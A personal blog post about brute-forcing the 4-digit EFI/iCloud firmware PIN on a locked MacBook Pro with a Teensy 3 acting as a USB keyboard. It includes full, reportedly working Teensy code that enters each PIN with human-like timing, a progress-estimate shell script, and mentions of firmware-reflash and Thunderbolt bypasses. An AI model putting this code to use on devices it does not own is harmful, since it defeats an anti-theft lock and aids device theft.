Updated: The code has already been reviewed and is working, One user I confirm that he implement it with his Teensy 3 and it worked without problems, If you just want to read the code that works without the story behind it, just click here.



Its been said that one must learn from mistakes so I want to share with you mine so that you don't go through the same situation..

A bit of background.

Recently I got my hands onn a MacBook Pro that after three weeks of being bought the seller desided that he wanted it back. He expressed this by locking it with a 4 digit PIN and a message that stated “Give me back the laptop and give you back the money”, with out calling or anything.

We both (buyer and I) found it tasteless gesture from the seller especially when he asked to be paid in cash. This is what the screen showed right after turning on the MacBook Pro but without formatting the HDD:

A photo of the iCloud Padlock that clearly indicates it is a 4 digit PIN


Hands on.

Due to the history of this MacBook pro I decided to do a low level format, Mounted the hard drive on another machine and ran `dd if=/dev/null of=/dev/sdc` for about 30 minutes, After that I proceeded to re-assemble the MBP.

To my surprise when I tried to boot from the OSX installation disk to start a clean installation I got a different screen that instead of having 4 numeric fields it had a singe field that accepted as many numeric characteres as you wanted, It appeared that it did not had limits but one thing was clear, it only accepted numeric characters.

With a little research I realized that the trick that involved clearing the NVRAM would not work since this MBP had a recent fabrication date and that this hole had been patched. I decided to attempt it any ways and as expected I got nowhere.

Some forums suggested to try every combination manually and that some had taken a couple of weeks to go through all 10.000 of them, sounds good, right? But what if the PIN is the last attempt, how long will it take? what if I miss a number by mistake?



I have 10.000 problems but automating a Brute force attack agains a EFI PIN lock is not one of them.

Knowing that I am sort of dyslexic and how much I'd rather take a walk on the beach with my family I decide to automate this procedure. The logic is simple, a counter from 0 to 9999 and that the out put gets formatted as 4 digits, not rocket science. What hardware can I use? What modules from the Linux kernel would I have to load to send data from one computer to another via USB as if it were a keyboard? That's how my quest began but I quickly realized that I needed specialized hardware for this.

Most of our computers are unable to tell their USB controller to identify them self as a HID device (human interface device) making it impossible to do this via a shell script or using python and a simple cable.

A possible solution could be the Arduino but one needs to build a shield for this to work and the cost of this shield (without including the breadboard or a Protoshield) is approximately $24 without shipping and taxes. The alternative is the Teensy which with S/H and takes is just under $23. The Teensy 3 ended up being the most cost-effective hardware for this task, I do however think that building the Arduino shield would have been more educational but the lack of free time and a reduced budget made the Teensy a better option.

I placed an order for the Teensy 3 as suggested by Paul Stoffregen, who told me that the version 3 (the most recent) ran on 3 volts unlike previous versions that used 5 volts and that the industry was moving towards 3 volts devices making 5 volts devices obsolete.



The code and the attack.

It took just two days to get it delivered after I bought it and within minutes I had it running a simplified version of the final code.

This version worked without problems on a plain text editor, It was clear to me that I was going to have to spend more time on this after my first attempt since despite having working with no issues on a plain text editor it failed doing the actual attack on the MacBook pro, some times it will send just one keystroke, others it would send 2 but seemed to me that it would always failed to send "enter".

The next day with some rest and a clear mind and not after a 12 hours shift I started to tackle the problem. Some one at Apple invested time and hard work on making it difficult for machines to attack it but at he same time easy for humans so I decided that the best way around this and future issues would be to imitate human behavior and I ended up with this code:

#include <usb_keyboard .h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13;
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT);
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter < = 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    Keyboard.press(pin[1]);
    delay(450);
    Keyboard.release(pin[1]);
    delay(420);
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
      delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

As you can see I avoid sending the four digits together and assign different values to wait between KeyPress and KeyRelease events. I also have different wait periods between each digit. After testing for a couple of minutes I note that the MBP had increased the wait time between attempts so I decided to assign a higher value from the beginning.

Since I decided to keep it simple and spiked on installing a screen to keep an eye on which number it was attempting, I decided to make a script which I ran from my Fedora box 18 giving me an estimated on what number it was trying.

The script is simple and uses two values, the first one is the sum of milliseconds I am using for delay() and the second one is same value plus a second, assuming that my reaction time to start the script or is slower than running the rest of the instructions insert some delay, lets take a look at the script:

while true do
  clear echo
  date start=`date +%s -d "Wed Jan 16 17:46:00"`
  current=`date +%s`
  echo "Current PIN Between: " | tr '\n' ' '
  echo "($current - $start) / 19.782" | bc | tr '\n' ' '
  echo " and " | tr '\n' ' '
  echo "($current - $start) / 18.782" | bc
  sleep 2
done

This is how my monitor looked while I had the script running, I edited the terminal profile and used a large font so I could see from the other side of my house what was going on.

Foto del shell script que da un estimado de que rango de números se están usando para el ataque


Good news, Bad news.

The best thing about automating this attack was reducing the time I would have to spend doing it manually to just forty height hours to go over the ten thousand combinations, Without skipping or repeating any attempt, far less than the three or more weeks that I would have to spend doing it manually.

Overall I am happy, did not spend more than 30 minutes in total programming in a language that I have not practiced and the Teensy worked flawlessly.

The bad news is that I went twice over all combinations and failed to gain access, apparently when it is locked and you replace/format the hardrive, the EFI generates a new random password 6 numeric characters or more so in the best case would take me at least 197 continuous days. If I had access to some information of the seller I would have tried different combinations using his personal information such as phone number, birthday, etc.. but with none of it this is not an option.

It is clear that I made a huge mistake when I assumed that formatting the disk would bypass this restrictions, if I had to do it again I would certainly spend more time attacking the OS for digit PIN with he Teensy. I advised the buyer to take the seller to a small court or to reach to an apple store to see what answer he gets although I am sure the answer would not be positive.

Here is a video that I made of the Teensy and running the brute-force attack:



A little more extreme alternatives.

In a conversation with an Australian who specializes in pentesting mac EFIs (among other things) I was told that an alternative solution would be to get a fresh MBP, extract its firmware and flash it using a PIC programmer. He also told me that there are ways to get around this attacking the thunderbolt port but these two options have a high risk in bricking the $2.000 laptop.

More information regarding EFI can be found on his blog ho.ax I especially recommend this presentation for those who are curious about his work http://ho.ax/posts/2012/10/ruxcon/.



UPDATE: A bug in the code

Recently this blog post got lots of traffic thanks to hackaday and varios community forums which in consecuence made more people look at my code and pointed at an error on it (do you see the importance of Open Source now?).

In the first couple of lines I am sending pin[1] twice and never sending pin[0]. I just fixed the code and tested it on a plain text document, so far everything seems fine, the new code is:

#include <usb_keyboard.h>
// This code is licensed under Apache 2.0 License
// http://www.apache.org/licenses/LICENSE-2.0.txt
// Limitation of Liability. In no event and under no legal theory,
// whether in tort (including negligence), contract, or otherwise,
// unless required by applicable law (such as deliberate and grossly
// negligent acts) or agreed to in writing, shall any Contributor be
// liable to You for damages, including any direct, indirect, special,
// incidental, or consequential damages of any character arising as a
// result of this License or out of the use or inability to use the
// Work (including but not limited to damages for loss of goodwill,
// work stoppage, computer failure or malfunction, or any and all
// other commercial damages or losses), even if such Contributor
// has been advised of the possibility of such damages.
// This code is indented for people who are not able to contact
// apple support and I am in no way liable for any damage or
// problems this code might cause.

const int ledPin = 13; // choose the pin for the LED
int counter = 0;
int fakecounter = counter;
char pin[]="xxxx";

void setup() {
  pinMode(ledPin, OUTPUT); // declare LED as output
  delay(10000);
}

void loop(){
  keyboard_modifier_keys = 0;
  if (counter <= 9999){
    delay(8000);
    digitalWrite(ledPin, LOW);
    delay(5500);
    digitalWrite(ledPin, HIGH);
    sprintf(pin, "%04d", fakecounter);
    //sending first digit
    Keyboard.press(pin[0]);
    delay(450);
    Keyboard.release(pin[0]);
    delay(420);
    //sending second digit
    Keyboard.press(pin[1]);
    delay(398);
    Keyboard.release(pin[1]);
    delay(510);
    //sending third digit
    Keyboard.press(pin[2]);
    delay(421);
    Keyboard.release(pin[2]);
    delay(423);
    //sending forth digit
    Keyboard.press(pin[3]);
    delay(430);
    Keyboard.release(pin[3]);
    delay(525);
    //sending enter
    Keyboard.press(KEY_ENTER);
    delay(305);
    Keyboard.release(KEY_ENTER);
  }
  //reached 4 digit PIN max value
  if (counter > 9999){
    for (int blinkies = 0; blinkies < 8; blinkies++) {
      digitalWrite(ledPin, HIGH);
      delay(20);
      digitalWrite(ledPin, LOW);
     delay(200);
    }
    delay(6000);
  }
  ++counter;
  fakecounter = counter;
}

For the latest version of these scripts head to https://github.com/orvtech/efi-bruteforce and download the one you need. I will try to maintain this blog up to date too.

Feel free to clone it, fork it and contribute.

I will contact the owner of the laptop to see if he can send it back so that I can start the attack again, this is not possible I would like to hear suggestions on how to test it.



- Tuesday 12 March: I have received confirmation that this code is working, as we can see in this thread at MacRumors:

Miembro de la comunidad confirma que pudo arrancar desde el DVD usando la Teensy 3 para lo que requirió entrar el PIN correcto


Comments

comments powered by Disqus